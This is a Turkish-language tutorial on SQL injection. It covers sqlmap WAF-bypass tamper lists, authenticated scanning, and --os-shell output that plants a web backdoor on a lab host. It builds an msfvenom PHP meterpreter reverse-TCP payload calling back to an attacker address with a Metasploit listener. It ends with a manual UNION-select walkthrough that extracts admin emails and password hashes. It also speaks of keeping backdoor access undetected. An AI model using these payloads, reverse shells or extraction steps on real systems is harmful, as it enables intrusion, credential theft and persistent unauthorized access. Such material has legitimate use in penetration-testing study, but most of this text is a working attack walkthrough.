1/\*!UNION\*//\*!ALL\*//\*!SELECT\*//\*!NULL\*//\*!NULL\*///\*!CONCAT\*//(\*!CHAR\*/(58,122,114,115,58),/\*!IFNULL\*/(CAST(\*!CURRENT\_USER\*/()/\*!AS\*//\*!CHAR\*/),/\*!CHAR\*/(32)),/\*!CHAR\*/(58,115,114,121,58))#

sqlmap -u "http://www.site.com/search.cmd?form\_state=1" --level=5 --risk=3 -p 'item1' --

`tamper="apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halftversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursive replacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2 mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords"`

*Item1 parametresine yapılan tamper tekniği ile saldırı çeşidi<sup>2</sup>*

<sup>2</sup> <https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423>

## Genel Tamper

**tamper="**apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes"

## MSSQL:

**tamper="**between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp\_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes"

## MySQL:

**tamper="**between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor"

## Sqlmap ile İstek

GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1

Host: aspnet.testsparker.com

Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4

Cookie: ASP.NET\_SessionId=zpuu4rzda5rxued21mwqtttd3; TestCookie=Hello

**sqlmap -r "istek.txt"** bu isteğimizi daha önce herhangi bir Proxy aracı ile yakalanmış bir istek olarak görülebilir. Değişiklik yapıp Sqlmap ile istekler atılabilir. Netsparker websitesinden örnek olarak alınmış bir istektir.

## URL Pathlarını Tarama

Normalde klasör olarak görülen Path kısımları Sqlmap aracı ile taranamamaktadır. Eğer taramak istersek ise Asteriks işareti ile bunu belirteç olarak belirleyebiliriz.

```
sqlmap -u "httpsite.com/test/50*" böylece tarama gerçekleştirilebilir.
```

## Http Kimlik Doğrulama

Basic, Digest, NTLM ya da PKI kimlik doğrulamalarını talep eden uygulamalarda tarama yapabilmek için ilk önce Kimlik tipi belirtilir daha sonra ise Kullanıcı adı ve Şifresi yazılarak tarama gerçekleştirilebilir.

```
sqlmap -u http://site.com/test.php?test=sayfa&id=1 --auth-type="Basic" --auth-cred="mekaninsahibi:crazyhttp"
```

Basic, Digest, NTLM ya da PKI

```
sqlmap -u http://site.com/admin.aspx --auth-file="dosya.pem" PEM Dosyası ile giriş işlemide bu şekilde olmalıdır.
```

## Sqllmap Risk ve Level Kullanımı

### Level değerleri

- 1 - Ön tanımlı olarak gelen değer. 100'den az istek gönderir.
- 2 - 100 ile 200 arası istek uygular.
- 3 - 200 ile 500 arası istek uygular.
- 4 - 500 ile 1000 arası istek gönderir.
- 5 - 1000'den fazla istek gönderir

### Risk değerleri

- 1 - Ön tanımlı olarak gelen değer.
- 2 - Time Based ataklar uygular.
- 3 - OR Based ataklar uygular

--level=5 veya --risk=3 ayarlaması yapılırken sisteme göre bunu belirleyebiliriz.Örnek vermek gerekirse http bir websitede --level=3 --risk=3 denilebilir fakat Https bir websitede güvenlik bir sertifikada olacağı için genelde Https sitelerde daha fazla istek atılması işimizi daha kolaylaştırabilir.Biraz zaman alacaktır bunun için ise --threads=10 yaparak istek hızını daha fazla yapabiliriz.Fakat sistem aşırı istekten dolayı hatada verebilir.Bazı sistemler yoğun istekte hatalara neden olabilmektedir.Bazı sistemler ise Dos saldırısı gibi etkilenmektedir.Marifetli bir sızıntı işlemidir.

## OS Shell ve MSFVenom

Sistemde kod yürütebilmek ve daha fazla veriye ayrıntılı biçimde ulaşabilmek için Shell sokup uzakta kod yürütebiliriz.

`sqlmap -u http://10.10.16.131:88/sql-php/sql_normal.php?id=1` ilk önce sistemde tarama yaparak bazı verilere ulaşıyoruz hem kod çalıştırırken işimize yarayacaktır.

```
root@kali:~# sqlmap -u "http://10.10.16.131:88/sql-php/sql_normal.php?id=1"
当前SQL注入: SELECT *FROM user WHERE id = 1
结果: Arr(1) [1] => 1 [1] => xia(1.4.3.6#dev)an)
[-] [V...] http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:09:43 /2020-03-14/

[17:09:45] [INFO] resuming back-end DBMS 'mysql'
[17:09:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=1 AND 5464=5464

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1 AND (SELECT 7177 FROM (SELECT(SLEEP(5)))pYAc)

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: id=-9972 UNION ALL SELECT NULL,NULL,CONCAT(0x716a7a7071,0x58534d6f4c666694c51664e706b477477645644436c65775850765053655348666846554d63416353,0x7171767671)-- -

[17:09:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.25, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.12
[17:09:45] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.16.131'

[*] ending @ 17:09:45 /2020-03-14/
```

Böylece sistemin **Veritabanı tipi,sürümü** hakkında ve **PHP** sürümü hakkında bilgi elde ediyoruz.Bunu göre Shell seçimi yapabiliriz.Ayrıca sistemin **Linux / Windows** olmasından ötürü yürütülecek kodunda çeşidi burada değişiklik gösterebilir.

Daha sonra ise --is-dba komutu ile Database Admin olup olmadığını öğrenmemiz gerekmektedir.Burada Makinede kod yürütebilmek için önemli bir veridir.

komutu ile Kullanıcının Database Admin : **True** ve **root@localhost** olduğunu görmekteyiz.

```

root@kali:~# sqlmap -u "http://10.10.16.131:88/sql.php/sql_normal.php?id=1" --is-dba --current-user
[1.4.3.6#dev]
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:22:02 /2020-03-14/

[16:22:03] [INFO] resuming back-end DBMS 'mysql'
[16:22:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=1 AND 5464=5464

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1 AND (SELECT 7177 FROM (SELECT(SLEEP(5)))pYAc)

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: id=-9972 UNION ALL SELECT NULL,NULL,CONCAT(0x716a7a7071,0x58534d6f4c66694c51664e706b477477645644436c65775850765053655348666846554d63416353,0x7171767671)-- -
---
[16:22:03] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.25, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.12
[16:22:03] [INFO] fetching current user
current user: 'root@localhost'
[16:22:03] [INFO] testing if current user is DBA
[16:22:03] [INFO] fetching current user
current user is DBA: True
[16:22:03] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.16.131'

[*] ending @ 16:22:03 /2020-03-14/

```

Şimdi ise Os Shell komutu ile Shell enjekte etmeye başlayabiliriz.

sqlmap -u "http://10.10.16.131:88/sql-php/sql\_normal.php?id=1" --os-shell komutu ile Shellimizi aktif etmeye çalışıyoruz.



```

[16:28:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.25, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.12
[16:28:47] [INFO] going to use a web backdoor for command prompt
[16:28:47] [INFO] fingerprinting the back-end DBMS operating system
[16:28:48] [WARNING] reflective value(s) found and filtering out
[16:28:48] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[16:28:50] [INFO] retrieved the web server document root: 'C:\phpStudy2013\WWW'
[16:28:50] [INFO] retrieved web server absolute paths: 'C:/phpStudy2013/WWW/sql-php/sql_normal.php'
[16:28:50] [INFO] trying to upload the file stager on 'C:/phpStudy2013/WWW/' via LIMIT 'LINES TERMINATED BY' method
[16:28:50] [INFO] the file stager has been successfully uploaded on 'C:/phpStudy2013/WWW/' - http://10.10.16.131:88/tmpufzggk.php
[16:28:51] [INFO] the backdoor has been successfully uploaded on 'C:/phpStudy2013/WWW/' - http://10.10.16.131:88/tmpbxeex.php
[16:28:51] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'win-t9hds45o2ba\lin'
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
'ls' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
---
os-shell> dir
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
驱动器 C 中的卷没有标签。
卷的序列号是 7CF7-1015

C:\phpStudy2013\WWW 的目录
2020/03/14 16:28 <DIR>      .
2020/03/14 16:28 <DIR>      ..
2020/02/08 18:34 <DIR>      BWVS
2019/01/17 15:55      215 common.php
2019/01/17 15:55      391 config.php
2019/11/30 19:41 <DIR>      css
2019/11/30 19:41 <DIR>      doc
2019/11/30 19:41 <DIR>      docker

```

Server Dili soruluyor ilk başta 4 olan seçiliyor yani PHP Shell sokulacağına dair. Daha sonra ise Shell yolu belirtiliyor. <http://10.10.16.131:88/tmpufzggk.php> olan kısım Dosya Yükleme alanımız. Farklı bir Shell veya dosya yüklemek için burayı kullanabiliriz. Altında ki PHP Dosyası ise **BackDoor** dosyamız.

**Os-Shell>** komutunda sistemde kodlar girilerek dosyalar okunabilir. Uzaktan kod yürütebiliriz.



Shell.php dosyamız oluşturulduktan sonra /www/ kök dizinine yüklenmektedir.

<http://10.10.16.131:88/shell.php>

MSF Venom'da Shell yaratarak daha sonra **Upload** alanına yükleyerek işlemlere devam ediyoruz.

**msfvenom -p php/meterpreter\_reverse\_tcp lhost=10.10.16.128 lport=4444 -o shell.php**

Komutunu çalıştırarak Shell dosyamızı yaratıyoruz.

## MSF CONSOLE

msfconsole	→	(Msf Console' u çalıştırıyoruz )
use exploit/multi/handler	→	( Kullanılacak Exploit Tipini Belirliyoruz )
set payload php/meterpreter_reverse_tcp	→	( Payloadımızı Seçüyoruz)
set lhost 10.10.16.128	→	( Hostumuzu belirliyoruz )
exploit	→	( Exploit diyerek çalıştırıyoruz )
Shell	→	( Shell komutu ilede dinlemeye alıyoruz )

[illegible]

Metasploit aracının yardımı ile Meterpreter Reverse TCP saldırısı ile sistemde başarılı bir biçimde kod yürütme işlemi tamamlanmıştır.OS-Shell ilede komut yürütüldüğü görülmektedir.Fakat daha farklı sheller veya araçlar ile dinlemeye almak ve istediğimiz bir biçimde yönetebilmek için böyle bir işlemde bulunabiliriz.Backdoor ile istediğimiz zaman sistemde farkedilmediği takdirde işlemler yapabiliriz.

## Manuel Sql Sızıntısı

Bir websitesinde açık zafiyeti tespiti için bir takım hatalar almamız gerekir. Bunlar veritabanı hataları gibi php dosyasının yanlış yapılandırılması veya mysql bağlantılarında ki karışıklıklar zafiyet yaratabilir. Bu sebepten dolayı eğer kötü karakter engellemesi gibi güvenlik önlemleride bulunmuyorsa hedef siteye siber saldırı mağduru olma riskini arttırır.

Neden manuel tarama yapılır ; bazı sistemlerde aşırı istek atmamak gerekir, sistemler engelleyebilir veya fazla istekten dolayı sistem kasmaya uğrayabilir. Bu yüzden manuel olarak daha sonra bazı veriler elde edildiğinde otomatik olarak daha kolay sızılabilir veya otomatik araçlara gerek kalmadan zafiyet istismar edilebilir.

`page.php?id=` sayfamızda böyle bir “php” sorgulaması bulunmaktadır. ID=10 olduğunuz varsayalım ve taramaya devam edelim.

`10+order+by+30` yazarak başlıyoruz. Aslında sona eklediğimiz `30` sayısının hiçbir önemi yok. Rastgele seçilmiş bir numaradır. Maksat `10` olarak tırnak işareti ile ID=10 sonuna eklediğimizde altığımız hatayı almamayı sağlamaktır. Bunun için devam ediyoruz. En son `hata almayana kadar` azaltıyoruz.

`10+order+by+30`

`10+order+by+29`

`10+order+by+28`

`10+order+by+27` > 27 yazdığımızda herhangi bir hata almadık. Şimdi ise burada duruyoruz. Kolon numaramız 27’dir.

Şimdi ise Union Select ile sorgularımıza devam edeceğiz ve Versiyon bilgilerine ulaşacağız bunun için ise 27 ye kadar sıralama yapıyoruz ;

`-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22,23,24,25,26,27`

15 ile 17 arasına `version()` komutunu ekledik bu sebepten dolayı 16 sayısını yazmadık. Farklı bir sayının yerinde yazabilirdik farketmez.

Ve karşımıza ise versiyonuz `5.5.24` olduğuna dair bir yazı aldık. Burada “5” sayısı dikkate alınacaktır.

Şimdi ise veritabanı hakkında bilgi almamız gerekir yani Database() komutu ile öğrenebiliriz.

```
-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,database(),17,18,19,20,21,22,23,24,25,26,27
```

Yine aynı komut ile database bilgisini öğreniyoruz ve karşımıza pentest\_labirent yazısı ve 3 sayısı ekrana yansıdığını varsayalım. Böylece öğrenmiş olduk.

Şimdi ise Database ismini alıp Hex Encode yapmamız gerekmektedir. Bu işlemi yaptığımızda ise ; 70656E746573745F6C61626972656E74 bu çıktıyı elde ederiz. Daha sonra ise bunun başına 0x ekleyelim. 0x70656E746573745F6C61626972656E74 verisi bir kenarda dursun.

Sıra geldi tabloları çekmeye işlemine.

```
-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17,18,19,20,21,22,23,24,25,26,27+from+information_schema.tables+where+table_schema=0x70656E746573745F6C61626972656E74
```

Bu sorgumuzu yazdıktan sonra ise karşımıza bir çok tablo geldiği görülür bunlar şöyle söylenebilir.

Admin,mail,password,test,ip,info,who,data olarak varsayalım bu tablolarımızın şimdi kolonlarını yani sütunlarda yer alan bilgileri öğrenmemiz gerekir. Bize lazım olan ise sisteme girişte kullanacağımız admin bilgisi. Bu sebepten dolayı "Admin" tablosunu Hex Encode<sup>3</sup> yapıyoruz.

```
-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_schema=0x70656E746573745F6C61626972656E74+and+table_name=0x61646D696E
```

ve karşımıza pass,email,id,page,ip gibi veriler gözükte şimdi çekeceğimiz verileri belirtme şeklimiz ise

```
-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,id(),email(),pass(),19,20,21,22,23,24,25,26,27+from+admin
```

ve karşımıza ise bir metin geldi Yönetici ID numarası, Mail adresi ve md5 ile şifrelenmiş parolası

1:root@admin.com: 4d4098d64e163d2726959455d046fd7c

Group\_concat tabloları görüntülerken içeriğine (table\_name) yazarak tablo isimlerini öğrendik. Daha sonra ise Table\_name'i değiştirerek column\_name sütun isimlerini öğrendik daha sonra ise başta database(),version() bilgilerini sorguladığımız gibi Admin tablosunda yer alan id,email ve pass bilgilerine eriştik.

<sup>3</sup> <https://www.convertstring.com/EncodeDecode/HexDecode>

